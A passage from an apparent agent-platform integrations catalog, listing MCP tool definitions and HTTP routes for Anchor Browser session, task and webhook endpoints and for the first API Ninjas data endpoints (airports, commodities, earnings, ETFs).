stores cookies, local storage, and cache. via POST /v1/profiles POST /api/v1/anchorbrowser/v1/profiles. Scopes: api. anchorbrowser_post_v1_sessions (write) — Start Browser Session -- Allocates a new browser session for the user, with optional configurations for ad-blocking, captcha solving, proxy usage, and idle timeout. via POST /v1/sessions POST /api/v1/anchorbrowser/v1/sessions. Scopes: api. anchorbrowser_post_v1_sessions_async (write) — Start Browser Session (async) -- Non-blocking variant of `POST /v1/sessions`. Returns a `request_id` immediately and provisions the underlying browser pod in the background. Poll `GET /v1/sessions/async/{request_id}/status` until `status` becomes `ready` to obtain the resolved `session_id`, `cdp_url` and `live_view_url`. via POST /v1/sessions/async POST /api/v1/anchorbrowser/v1/sessions/async. Scopes: api. anchorbrowser_post_v1_sessions_by_session_id_agent_pause (write) — Pause Agent -- Pauses the AI agent for the specified browser session. via POST /v1/sessions/{session_id}/agent/pause POST /api/v1/anchorbrowser/v1/sessions/{session_id}/agent/pause. Scopes: api. anchorbrowser_post_v1_sessions_by_session_id_agent_respond_to_human_intervention (write) — Respond to Human Intervention -- Sends a response to a pending human-in-the-loop (HITL) request for the specified session. Resolving a request unblocks the agent and emits an `intervention.resolved` webhook event when `requestId` is provided. via POST /v1/sessions/{session_id}/agent/respond-to-human-intervention POST /api/v1/anchorbrowser/v1/sessions/{session_id}/agent/respond-to-human-intervention. Scopes: api. anchorbrowser_post_v1_sessions_by_session_id_agent_resume (write) — Resume Agent -- Resumes the AI agent for the specified browser session. via POST /v1/sessions/{session_id}/agent/resume POST /api/v1/anchorbrowser/v1/sessions/{session_id}/agent/resume. Scopes: api. anchorbrowser_post_v1_sessions_by_session_id_recordings_pause (write) — Pause Session Recording -- Pauses the video recording for the specified browser session. via POST /v1/sessions/{session_id}/recordings/pause POST /api/v1/anchorbrowser/v1/sessions/{session_id}/recordings/pause. Scopes: api. anchorbrowser_post_v1_sessions_by_session_id_recordings_resume (write) — Resume Session Recording -- Resumes the video recording for the specified browser session. via POST /v1/sessions/{session_id}/recordings/resume POST /api/v1/anchorbrowser/v1/sessions/{session_id}/recordings/resume. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_clipboard (write) — Set Clipboard Content -- Sets the content of the clipboard via POST /v1/sessions/{sessionId}/clipboard POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/clipboard. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_copy (write) — Copy Selected Text -- Copies the currently selected text to the clipboard via POST /v1/sessions/{sessionId}/copy POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/copy. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_drag_and_drop (write) — Drag and Drop -- Performs a drag and drop operation from start coordinates to end coordinates via POST /v1/sessions/{sessionId}/drag-and-drop POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/drag-and-drop. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_goto (write) — Navigate to URL -- Navigates the browser session to the specified URL via POST /v1/sessions/{sessionId}/goto POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/goto. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_keyboard_shortcut (write) — Keyboard Shortcut -- Performs a keyboard shortcut using the specified keys via POST /v1/sessions/{sessionId}/keyboard/shortcut POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/keyboard/shortcut. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_keyboard_type (write) — Type Text -- Types the specified text with optional delay between keystrokes via POST /v1/sessions/{sessionId}/keyboard/type POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/keyboard/type. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_mouse_click (write) — Mouse Click -- Performs a mouse click at the specified coordinates via POST /v1/sessions/{sessionId}/mouse/click POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/mouse/click. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_mouse_doubleclick (write) — Mouse Double Click -- Performs a double click at the specified coordinates via POST /v1/sessions/{sessionId}/mouse/doubleClick POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/mouse/doubleClick. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_mouse_down (write) — Mouse Down -- Performs a mouse button down action at the specified coordinates via POST /v1/sessions/{sessionId}/mouse/down POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/mouse/down. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_mouse_move (write) — Mouse Move -- Moves the mouse cursor to the specified coordinates via POST /v1/sessions/{sessionId}/mouse/move POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/mouse/move. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_mouse_up (write) — Mouse Up -- Performs a mouse button up action at the specified coordinates via POST /v1/sessions/{sessionId}/mouse/up POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/mouse/up. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_paste (write) — Paste Text -- Pastes text at the current cursor position via POST /v1/sessions/{sessionId}/paste POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/paste. Scopes: api. anchorbrowser_post_v1_sessions_by_sessionid_scroll (write) — Scroll -- Performs a scroll action at the specified coordinates via POST /v1/sessions/{sessionId}/scroll POST /api/v1/anchorbrowser/v1/sessions/{sessionId}/scroll. Scopes: api. anchorbrowser_post_v1_task (write) — Create Task (Legacy) -- Creates a new task or updates an existing task with the same name. Tasks are reusable code snippets that can be executed in browser sessions. Tasks support versioning with draft and published versions. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via POST /v1/task POST /api/v1/anchorbrowser/v1/task. Scopes: api. anchorbrowser_post_v1_task_by_taskid_by_taskversion (write) — Publish Task Version (Legacy) -- Publishes a specific version of a task. This creates a new version if it doesn't exist, or updates an existing version's metadata. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via POST /v1/task/{taskId}/{taskVersion} POST /api/v1/anchorbrowser/v1/task/{taskId}/{taskVersion}. Scopes: api. anchorbrowser_post_v1_task_by_taskid_deploy (write) — Deploy Task (Legacy) -- Deploys a task by creating a new version with auto-incremented version number. This is the recommended way to publish task changes. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via POST /v1/task/{taskId}/deploy POST /api/v1/anchorbrowser/v1/task/{taskId}/deploy. Scopes: api. anchorbrowser_post_v1_task_by_taskid_draft (write) — Create or Update Task Draft (Legacy) -- Creates or updates the draft version of a task. Draft versions are used for development and testing before publishing. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via POST /v1/task/{taskId}/draft POST /api/v1/anchorbrowser/v1/task/{taskId}/draft. Scopes: api. anchorbrowser_post_v1_task_run (write) — Run Task (Legacy) -- Executes a task in a browser session. The task can be run with a specific version or the latest version. Optionally, you can provide an existing session ID or let the system create a new one. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via POST /v1/task/run POST /api/v1/anchorbrowser/v1/task/run. Scopes: api. anchorbrowser_post_v1_task_run_by_taskname (write) — Run Task by Name (Legacy) -- Executes a task by its name, always using the latest version. This is a convenience endpoint for running tasks without needing to know the task ID. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via POST /v1/task/run/{taskName} POST /api/v1/anchorbrowser/v1/task/run/{taskName}. Scopes: api. anchorbrowser_post_v1_tools_execute_code (write) — Execute Code Snippet -- Run a TypeScript snippet in the sandbox against the browser session (query `sessionId` required). via POST /v1/tools/execute-code POST /api/v1/anchorbrowser/v1/tools/execute-code. Scopes: api. anchorbrowser_post_v1_tools_fetch_webpage (write) — Web Unlocker -- Fetch fully-rendered page content from any URL — including bot-protected sites — without managing a browser session. Requests are routed through stealth browsers with residential proxies, captcha solving, and fingerprint randomization. No session is required. See the [Web Unlocker guide](/advanced/web-unlocker) for more details. via POST /v1/tools/fetch/webpage POST /api/v1/anchorbrowser/v1/tools/fetch/webpage. Scopes: api. anchorbrowser_post_v1_tools_perform_web_task (write) — Perform Web Task -- Start from a URL and perform the given task. via POST /v1/tools/perform-web-task POST /api/v1/anchorbrowser/v1/tools/perform-web-task. Scopes: api. anchorbrowser_post_v1_webhooks (write) — Create Webhook -- Register a new HTTPS endpoint to receive events. The response includes a one-time `secret` (HMAC-SHA256 signing key) — store it; Anchor never returns it again. Up to 5 webhooks per project. via POST /v1/webhooks POST /api/v1/anchorbrowser/v1/webhooks. Scopes: api. anchorbrowser_post_v1_webhooks_by_id_rotate_secret (write, destructive) — Rotate Webhook Signing Secret -- Mint a new HMAC-SHA256 signing secret. The previous secret remains valid for 24 hours so you can update your verification code at your own pace, then drop the old secret. The new secret is returned exactly once, in the `secret` field. via POST /v1/webhooks/{id}/rotate-secret. DESTRUCTIVE: this irreversibly rotates the webhook's signing secret. The old secret keeps validating for 24 hours (Anchor's own grace window) and then stops permanently; a second rotation mints a third secret rather than restoring the first, so every consumer must be updated within the window. POST /api/v1/anchorbrowser/v1/webhooks/{id}/rotate-secret. Scopes: api. anchorbrowser_post_v1_webhooks_by_id_test (write) — Send Test Event -- Fire a synthetic event of the given type through the real signing + retry path. Useful during development for confirming your endpoint can verify the signature and is reachable from Anchor's egress IPs. The synthetic delivery counts toward your delivery log so you can see it in `GET /v1/webhooks/{id}/events`. via POST /v1/webhooks/{id}/test POST /api/v1/anchorbrowser/v1/webhooks/{id}/test. Scopes: api. anchorbrowser_post_v2_tasks_by_taskid_run (write) — Run a Task -- Triggers execution of a task by ID using the non-deprecated Tasks endpoints. via POST /v2/tasks/{taskId}/run POST /api/v1/anchorbrowser/v2/tasks/{taskId}/run. Scopes: api. anchorbrowser_post_v2_tasks_generate (write) — Generate a Task -- Starts asynchronous generation of a new task from a natural-language prompt. Poll `GET /v2/tasks/{taskId}/generation-status` until the status is `ready`. via POST /v2/tasks/generate POST /api/v1/anchorbrowser/v2/tasks/generate. Scopes: api. anchorbrowser_put_v1_identities_by_identityid (write) — Update Identity -- Updates an existing identity's name, metadata, or credentials. via PUT /v1/identities/{identityId} PUT /api/v1/anchorbrowser/v1/identities/{identityId}. Scopes: api. anchorbrowser_put_v1_sessions_by_session_id_tags (write) — Put Session Tags -- Create or replace tags on a browser session. This overwrites any existing tags with the provided list. See [Session Tags](/advanced/session-tags). via PUT /v1/sessions/{session_id}/tags PUT /api/v1/anchorbrowser/v1/sessions/{session_id}/tags. Scopes: api. anchorbrowser_put_v1_task_by_taskid (write) — Update Task Metadata (Legacy) -- Updates task metadata (name and description). This does not affect the task code or versions. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via PUT /v1/task/{taskId} PUT /api/v1/anchorbrowser/v1/task/{taskId}. Scopes: api. ================================================================================ ## API Ninjas URL: https://www.agenticfabriq.com/integrations/apininjas Section: Integrated Tools API Ninjas — 231 MCP tools Provider key: apininjas. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. apininjas_get_v1_advice (read) — Returns a random piece of life advice. No parameters required. via GET /v1/advice GET /api/v1/apininjas/v1/advice. Scopes: api. apininjas_get_v1_aircraft (read) — Returns a list of aircrafts that match the given parameters. This API only supports airplanes - for helicopter specs please use our Helicopter API . At least one of the following parameters (other than limit ) must be set. via GET /v1/aircraft GET /api/v1/apininjas/v1/aircraft. Scopes: api. apininjas_get_v1_airportconvert (read) — Convert between IATA and ICAO airport codes. Provide exactly one of iata , icao , or code . via GET /v1/airportconvert GET /api/v1/apininjas/v1/airportconvert. Scopes: api. apininjas_get_v1_airportdistance (read) — Requires a paid API Ninjas plan. Calculate the great-circle distance, initial bearing, and an estimated flight time between two airports. via GET /v1/airportdistance GET /api/v1/apininjas/v1/airportdistance. Scopes: api. apininjas_get_v1_airports (read) — Returns a list of up to 10 airport results. Use the offset parameter to access more results if available. To look up a list of airport codes and names, use the /v1/airportslist endpoint. At least one of the following parameters (other than offset ) must be set: via GET /v1/airports GET /api/v1/apininjas/v1/airports. Scopes: api. apininjas_get_v1_airportslist (read) — Requires an annual API Ninjas subscription. Returns a list of up to 100 airport codes and names in alphabetical order. Use the offset parameter to access more results via pagination. To look up detailed information about an airport, use the icao parameter in the /v1/airports endpoint. via GET /v1/airportslist GET /api/v1/apininjas/v1/airportslist. Scopes: api. apininjas_get_v1_airportsuggest (read) — Requires a paid API Ninjas plan. Autocomplete / typeahead suggestions for airport search. Matches against IATA, ICAO, name, and city. Results are ranked by code-prefix match, airport size, and IATA availability. via GET /v1/airportsuggest GET /api/v1/apininjas/v1/airportsuggest. Scopes: api. apininjas_get_v1_airquality (read) — Get air quality by city or location coordinates (latitude/longitude). Returns the air quality index (AQI) and concentrations of major pollutants. Note: at least one of the following must be provided: lat and lon , or city . via GET /v1/airquality GET /api/v1/apininjas/v1/airquality. Scopes: api. apininjas_get_v1_allcats (read) — Requires a paid API Ninjas plan. Returns a list of all cat breed names. via GET /v1/allcats GET /api/v1/apininjas/v1/allcats. Scopes: api. apininjas_get_v1_allcountries (read) — Requires a paid API Ninjas plan. Get a list of all 2-letter country codes for countries, territories and regions for which we have statistics. via GET /v1/allcountries GET /api/v1/apininjas/v1/allcountries. Scopes: api. apininjas_get_v1_allcountryflags (read) — Requires a paid API Ninjas plan. Get flag images for all countries. Returns an list of countries and their flag URLs. via GET /v1/allcountryflags GET /api/v1/apininjas/v1/allcountryflags. Scopes: api. apininjas_get_v1_alldogs (read) — Requires a paid API Ninjas plan. Returns a list of all dog breed names. via GET /v1/alldogs GET /api/v1/apininjas/v1/alldogs. Scopes: api. apininjas_get_v1_allexercises (read) — Requires an API Ninjas Business or Professional plan. Returns a comprehensive list of exercises that target a specific muscle group. via GET /v1/allexercises GET /api/v1/apininjas/v1/allexercises. Scopes: api. apininjas_get_v1_allstockexchanges (read) — Requires an API Ninjas Business or Professional plan. Returns a list of all available stock exchanges and their details. This endpoint does not accept any parameters. via GET /v1/allstockexchanges GET /api/v1/apininjas/v1/allstockexchanges. Scopes: api. apininjas_get_v1_animals (read) — Returns up to 10 results matching the input name parameter. via GET /v1/animals GET /api/v1/apininjas/v1/animals. Scopes: api. apininjas_get_v1_babynames (read) — Returns 10 baby name results. via GET /v1/babynames GET /api/v1/apininjas/v1/babynames. Scopes: api. apininjas_get_v1_balancesheet (read) — If you do not specify a year or period, the API will return the most recent balance sheet. via GET /v1/balancesheet GET /api/v1/apininjas/v1/balancesheet. Scopes: api. apininjas_get_v1_balancesheetavailability (read) — Requires an API Ninjas Developer plan or above. Balance Sheet via GET /v1/balancesheetavailability GET /api/v1/apininjas/v1/balancesheetavailability. Scopes: api. apininjas_get_v1_bankholidays (read) — Returns a list of bank holiday entries for a given country and year. Each entry contains the holiday name, date, day of the week, and country information. via GET /v1/bankholidays GET /api/v1/apininjas/v1/bankholidays. Scopes: api. apininjas_get_v1_barcodegenerate (read) — Returns a barcode image binary specified by input parameters. via GET /v1/barcodegenerate GET /api/v1/apininjas/v1/barcodegenerate. Scopes: api. apininjas_get_v1_bitcoin (read) — Returns the latest Bitcoin price in USD and 24-hour market data. Premium members have access to live prices, while free users only have access to 15-minute delayed data. For historical price data, see /v1/bitcoinhistorical . via GET /v1/bitcoin GET /api/v1/apininjas/v1/bitcoin. Scopes: api. apininjas_get_v1_bitcoinhistorical (read) — Requires a paid API Ninjas plan. Returns historical price data for Bitcoin in USD. via GET /v1/bitcoinhistorical GET /api/v1/apininjas/v1/bitcoinhistorical. Scopes: api. apininjas_get_v1_bsblookup (read) — Returns detailed information about an Australian bank branch based on its BSB number. via GET /v1/bsblookup GET /api/v1/apininjas/v1/bsblookup. Scopes: api. apininjas_get_v1_bsbsearch (read) — Requires a paid API Ninjas plan. BSB via GET /v1/bsbsearch GET /api/v1/apininjas/v1/bsbsearch. Scopes: api. apininjas_get_v1_bucketlist (read) — Returns a random bucket list idea. via GET /v1/bucketlist GET /api/v1/apininjas/v1/bucketlist. Scopes: api. apininjas_get_v1_caloriesburned (read) — Returns the calories burned per hour and total calories burned according to given parameters for given activities (up to 10 ). via GET /v1/caloriesburned GET /api/v1/apininjas/v1/caloriesburned. Scopes: api. apininjas_get_v1_caloriesburnedactivities (read) — Requires a paid API Ninjas plan. Returns a list of all supported activities. via GET /v1/caloriesburnedactivities GET /api/v1/apininjas/v1/caloriesburnedactivities. Scopes: api. apininjas_get_v1_canadaroutingnumber (read) — Returns detailed information about a Canadian bank branch. Provide either a 9-digit routing number, or a transit number together with an institution number. At least one of routing_number , or both transit_number and institution_number together, must be set. via GET /v1/canadaroutingnumber GET /api/v1/apininjas/v1/canadaroutingnumber. Scopes: api. apininjas_get_v1_canadaroutingnumbersearch (read) — Requires a paid API Ninjas plan. Canada Routing Number via GET /v1/canadaroutingnumbersearch GET /api/v1/apininjas/v1/canadaroutingnumbersearch. Scopes: api. apininjas_get_v1_cashflow (read) — If you do not specify a year or period, the API will return the most recent cash flow statement. via GET /v1/cashflow GET /api/v1/apininjas/v1/cashflow. Scopes: api. apininjas_get_v1_cashflowavailability (read) — Requires an API Ninjas Developer plan or above. Cash Flow via GET /v1/cashflowavailability GET /api/v1/apininjas/v1/cashflowavailability. Scopes: api. apininjas_get_v1_cats (read) — Get a list of cat breeds matching specified parameters. Returns at most 20 results. To access more than 20 results, use the offset parameter to offset results in multiple API calls. At least one of the following parameters (other than offset ) must be set: via GET /v1/cats GET /api/v1/apininjas/v1/cats. Scopes: api. apininjas_get_v1_celebrity (read) — Returns a list of up to 30 celebrities that match the search parameters. To get more than 30 results, use the offset parameter. via GET /v1/celebrity GET /api/v1/apininjas/v1/celebrity. Scopes: api. apininjas_get_v1_chucknorris (read) — Returns a Chuck Norris joke. via GET /v1/chucknorris GET /api/v1/apininjas/v1/chucknorris. Scopes: api. apininjas_get_v1_city (read) — Get city data from either a name or population range. Returns a list of cities that satisfies the parameters. At least one of the following parameters (other than limit and offset ) must be set: via GET /v1/city GET /api/v1/apininjas/v1/city. Scopes: api. apininjas_get_v1_closestairport (read) — Requires a paid API Ninjas plan. Find the airports nearest to a given latitude/longitude. Results are sorted by airport size (largest first), then by distance ascending within each size tier. Each result includes distance and bearing from the input coordinate. via GET /v1/closestairport GET /api/v1/apininjas/v1/closestairport. Scopes: api. apininjas_get_v1_cocktail (read) — Returns up to 10 cocktail recipes matching the search parameters. At least one of the following parameters must be present: via GET /v1/cocktail GET /api/v1/apininjas/v1/cocktail. Scopes: api. apininjas_get_v1_commoditycontract (read) — Requires an API Ninjas Business or Professional plan. Returns price information for a specific commodity contract or all contracts matching a commodity root. Either symbol or symbol_root must be provided, but not both. via GET /v1/commoditycontract GET /api/v1/apininjas/v1/commoditycontract. Scopes: api. apininjas_get_v1_commoditycontractlist (read) — Requires an API Ninjas Business or Professional plan. Returns a list of all available commodity contracts with their symbols and commodity names. This endpoint is useful for discovering which contracts are available for querying. via GET /v1/commoditycontractlist GET /api/v1/apininjas/v1/commoditycontractlist. Scopes: api. apininjas_get_v1_commodityforwardcurve (read) — Requires an API Ninjas Business or Professional plan. Returns every active futures contract for the requested commodity, sorted by contract month, along with a curve-shape classification and 1-month and ~12-month percent slopes. This is the standard view for analyzing contango (upward-sloping curve) vs backwardation (downward-sloping). Reads from the same contracts feed as /v1/commoditycontract ; for a single contract or unfiltered contract list, use that endpoint or /v1/commoditycontractlist . via GET /v1/commodityforwardcurve GET /api/v1/apininjas/v1/commodityforwardcurve. Scopes: api. apininjas_get_v1_commodityprice (read) — Returns the current price information for one or more commodities. Prices are based on rolling futures contracts and are quoted in the commodity's native unit and currency convention — see the unit and currency_unit fields below. Use the optional currency and unit parameters to convert into any supported currency or compatible mass/volume/energy unit. Premium members have access to live prices, while free users only have access to 15-minute delayed data. For all 30 commodities in one call, see /v1/commoditysnapshot . For historical prices, see /v1/commoditypricehistorical . via GET /v1/commodityprice GET /api/v1/apininjas/v1/commodityprice. Scopes: api. apininjas_get_v1_commoditypricehistorical (read) — Requires a paid API Ninjas plan. Returns historical commodity futures price data in OHLCV (Open, High, Low, Close, Volume) format. The data is returned in descending order (most recent first), and all prices are in USD. Each API call returns a maximum of 1,000 data points; narrow the time range or use a larger interval for queries that would otherwise exceed this limit. via GET /v1/commoditypricehistorical GET /api/v1/apininjas/v1/commoditypricehistorical. Scopes: api. apininjas_get_v1_commoditysnapshot (read) — Returns current price data for every supported commodity in a single response. Useful for dashboards, watchlists, and any UI that needs the full set of commodities. Premium members have access to live prices, while free users only have access to 15-minute delayed data. via GET /v1/commoditysnapshot GET /api/v1/apininjas/v1/commoditysnapshot. Scopes: api. apininjas_get_v1_convertcurrency (read) — Converts an existing currency and amount into a new currency. Data freshness depends on your plan: free-tier accounts receive once-daily rates, while premium subscribers receive real-time rates. via GET /v1/convertcurrency GET /api/v1/apininjas/v1/convertcurrency. Scopes: api. apininjas_get_v1_counter (read) — Not idempotent: this endpoint keeps a counter per API key and every call increments it. Fetch and possibly update a counter. via GET /v1/counter GET /api/v1/apininjas/v1/counter. Scopes: api. apininjas_get_v1_country (read) — Get country data from given parameters. Returns a list of country statistics that satisfy the parameters. via GET /v1/country GET /api/v1/apininjas/v1/country. Scopes: api. apininjas_get_v1_countryflag (read) — Get a country's flag as SVG image URLs. Both 1:1 and 4:3 aspect ratios are supported and returned in the response. via GET /v1/countryflag GET /api/v1/apininjas/v1/countryflag. Scopes: api. apininjas_get_v1_county (read) — Returns details for one or more counties matching the input parameters. For premium users, you can also specify the limit and offset parameters to paginate through results. At least one of the following parameters (except limit and offset ) must be set: via GET /v1/county GET /api/v1/apininjas/v1/county. Scopes: api. apininjas_get_v1_covid19 (read) — Returns either a time series of Covid-19 case counts/deaths for a country/region or a single-day snapshot of every country in the world (see parameters). Either date or country must be set. via GET /v1/covid19 GET /api/v1/apininjas/v1/covid19. Scopes: api. apininjas_get_v1_cryptoprice (read) — Returns the current price and current time (in UNIX timestamp in seconds) for any cryptocurrency symbol. Premium members have access to live prices, while free users only have access to 15-minute delayed data. For historical price data, see /v1/cryptopricehistorical . Fiat quotes: Premium subscribers can quote any cryptocurrency in a supported fiat currency by appending the three-letter fiat code to the crypto symbol (e.g. BTCEUR , ETHJPY , TRXGBP ). via GET /v1/cryptoprice GET /api/v1/apininjas/v1/cryptoprice. Scopes: api. apininjas_get_v1_cryptopricehistorical (read) — Requires a paid API Ninjas plan. Returns historical price data for any cryptocurrency pair in OHLCV (Open, High, Low, Close, Volume) format. The data is returned in descending order (most recent first). via GET /v1/cryptopricehistorical GET /api/v1/apininjas/v1/cryptopricehistorical. Scopes: api. apininjas_get_v1_cryptosymbols (read) — Requires a paid API Ninjas plan. The Crypto Symbols API provides a list of all available cryptocurrency ticker symbols. It can be used in conjunction with the Crypto Price API to retrieve price data. Returns a list of available cryptocurrency symbols that have pricing information. via GET /v1/cryptosymbols GET /api/v1/apininjas/v1/cryptosymbols. Scopes: api. apininjas_get_v1_currencyvolatility (read) — Requires a paid API Ninjas plan. Returns the latest realized (or EWMA) volatility for a currency pair over a lookback window, together with a volatility cone across standard window lengths and HV rank / percentile context. via GET /v1/currencyvolatility GET /api/v1/apininjas/v1/currencyvolatility. Scopes: api. apininjas_get_v1_currencyvolatilityforecast (read) — Requires a paid API Ninjas plan. Returns forward-looking volatility estimates for a currency pair using EWMA (RiskMetrics) or GARCH(1,1). GARCH adds mean reversion toward a long-run volatility level; if the GARCH fit does not converge the response falls back to EWMA. These are model-based estimates, not predictions. via GET /v1/currencyvolatilityforecast GET /api/v1/apininjas/v1/currencyvolatilityforecast. Scopes: api. apininjas_get_v1_currencyvolatilityhistorical (read) — Requires a paid API Ninjas plan. Returns a daily time series of trailing rolling volatility for a currency pair over a date range, with each point tagged by its percentile rank, plus a volatility cone snapshot as of the end date. via GET /v1/currencyvolatilityhistorical GET /api/v1/apininjas/v1/currencyvolatilityhistorical. Scopes: api. apininjas_get_v1_dadjokes (read) — Returns one (or more) random dad jokes. Free users have access to 100 jokes - premium users have access to over 15,000 dad jokes. via GET /v1/dadjokes GET /api/v1/apininjas/v1/dadjokes. Scopes: api. apininjas_get_v1_dayinhistory (read) — Returns historical events that occurred on a specific date. If no date parameters are provided, returns events for today's date. via GET /v1/dayinhistory GET /api/v1/apininjas/v1/dayinhistory. Scopes: api. apininjas_get_v1_dictionary (read) — Returns a string containing definitions for a given word. via GET /v1/dictionary GET /api/v1/apininjas/v1/dictionary. Scopes: api. apininjas_get_v1_disposableemailchecker (read) — Returns metadata for a given email address, including whether it is from a disposable email provider. We maintain a large database of hundreds of thousands of disposable domains and check against it for every email address. via GET /v1/disposableemailchecker GET /api/v1/apininjas/v1/disposableemailchecker. Scopes: api. apininjas_get_v1_dnslookup (read) — Returns a list of DNS records associated with a particular domain. via GET /v1/dnslookup GET /api/v1/apininjas/v1/dnslookup. Scopes: api. apininjas_get_v1_dogs (read) — Get a list of dog breeds matching specified parameters. Returns at most 20 results. To access more than 20 results, use the offset parameter to offset results in multiple API calls. At least one of the following parameters (excluding offset ) is required. via GET /v1/dogs GET /api/v1/apininjas/v1/dogs. Scopes: api. apininjas_get_v1_domain (read) — Returns availability, registration lifecycle, and email/hosting intelligence for a given domain name. via GET /v1/domain GET /api/v1/apininjas/v1/domain. Scopes: api. apininjas_get_v1_earningscalendar (read) — Returns a list of past earnings results and upcoming earnings dates. You can query by ticker symbol to get earnings for a specific company, by a single date, or by a date range. Up to 50 earnings results are returned per request. Business-tier responses additionally include earnings intelligence derived from each report: EPS/revenue beat-or-miss, surprise history and beat streak, standardized unexpected earnings (SUE), the one-day post-earnings price move, days to next earnings, and SEC 8-K–confirmed report date/time. At least one of ticker , date , date_start , or date_end must be provided. date cannot be combined with date_start or date_end . via GET /v1/earningscalendar GET /api/v1/apininjas/v1/earningscalendar. Scopes: api. apininjas_get_v1_earningscalendarlist (read) — Requires a paid API Ninjas plan. Returns a list of all available companies in the earnings calendar. Use it to find tickers for the /v1/earningscalendar endpoint. This endpoint does not require any parameters. via GET /v1/earningscalendarlist GET /api/v1/apininjas/v1/earningscalendarlist. Scopes: api. apininjas_get_v1_earningstranscript (read) — Requires a paid API Ninjas plan. Returns the earnings transcript for a given company earning quarter. Developer tier includes transcripts from the most recent 5 years; the complete archive (2005 onwards) is available to Business and Professional subscribers. See pricing . Either ticker or cik must be provided. If year and quarter are not provided, the latest earnings call transcript will be returned. via GET /v1/earningstranscript GET /api/v1/apininjas/v1/earningstranscript. Scopes: api. apininjas_get_v1_earningstranscriptlist (read) — Requires a paid API Ninjas plan. Returns a list of all companies with earnings transcripts. Note: Use /v1/earningstranscriptsearch to find the list of transcripts for a given company. via GET /v1/earningstranscriptlist GET /api/v1/apininjas/v1/earningstranscriptlist. Scopes: api. apininjas_get_v1_earningstranscriptparticipants (read) — Requires an API Ninjas Business or Professional plan. Returns the people who appeared on a given company's earnings calls - executives and sell-side analysts - with stats scoped to that company. Use speaker_type=executive for the management roster or speaker_type=analyst for the analysts who cover the stock. Either ticker or cik must be provided. via GET /v1/earningstranscriptparticipants GET /api/v1/apininjas/v1/earningstranscriptparticipants. Scopes: api. apininjas_get_v1_earningstranscriptsearch (read) — Requires a paid API Ninjas plan. Returns a list of available earnings call transcripts for a given company, date, or date range. Use ticker, CIK, a single date, or a start_date/end_date window to search. Results are paginated and sorted by call date (most recent first). At least one of ticker , cik , date , or start_date / end_date must be provided. via GET /v1/earningstranscriptsearch GET /api/v1/apininjas/v1/earningstranscriptsearch. Scopes: api. apininjas_get_v1_earningstranscriptspeaker (read) — Requires an API Ninjas Business or Professional plan. One endpoint with two modes. Without an id , it searches the people who appear on earnings calls (company executives and sell-side analysts) and returns a paginated list. With an id , it returns that single speaker's full profile, a per-company coverage rollup, and their paginated appearance history. via GET /v1/earningstranscriptspeaker GET /api/v1/apininjas/v1/earningstranscriptspeaker. Scopes: api. apininjas_get_v1_electricvehicle (read) — Get electric vehicle data from given parameters. Returns a list of electric vehicles that satisfy the parameters. At least one parameter (other than limit and offset ) is required. via GET /v1/electricvehicle GET /api/v1/apininjas/v1/electricvehicle. Scopes: api. apininjas_get_v1_electricvehiclemakes (read) — Requires an API Ninjas Business or Professional plan. Returns a list of all electric vehicle makes (manufacturers). via GET /v1/electricvehiclemakes GET /api/v1/apininjas/v1/electricvehiclemakes. Scopes: api. apininjas_get_v1_electricvehiclemodels (read) — Requires an API Ninjas Business or Professional plan. Returns a list of all electric vehicle models for a given make (manufacturer). via GET /v1/electricvehiclemodels GET /api/v1/apininjas/v1/electricvehiclemodels. Scopes: api. apininjas_get_v1_emoji (read) — Returns a list of emojis according to input parameters. Returns at most 30 results. To access more than 30 results, use the offset parameter to offset results in multiple API calls. At least one of the following parameters (other than offset ) must be set: via GET /v1/emoji GET /api/v1/apininjas/v1/emoji. Scopes: api. apininjas_get_v1_etf (read) — Returns comprehensive information about any ETF by its ticker. Premium members have access to live prices, while free users only have access to 15-minute delayed data. via GET /v1/etf GET /api/v1/apininjas/v1/etf. Scopes: api. apininjas_get_v1_etflist (read) — Requires an API Ninjas Business or Professional plan. Returns ETF ticker symbols supported by the ETF API, paginated up to 1000 per call. Useful for discovering which tickers can be passed to /v1/etf or /v1/etfsearch . Increment the offset parameter by 1000 until fewer than 1000 results are returned to walk the entire list. via GET /v1/etflist GET /api/v1/apininjas/v1/etflist. Scopes: api. apininjas_get_v1_etfsearch (read) — Requires an API Ninjas Business or Professional plan. Search for ETFs matching a combination of filters. Results are sorted by assets under management (descending) and capped at 50 per page. Use the offset parameter to paginate. At least one filter parameter is required. At least one of the following parameters must be provided. via GET 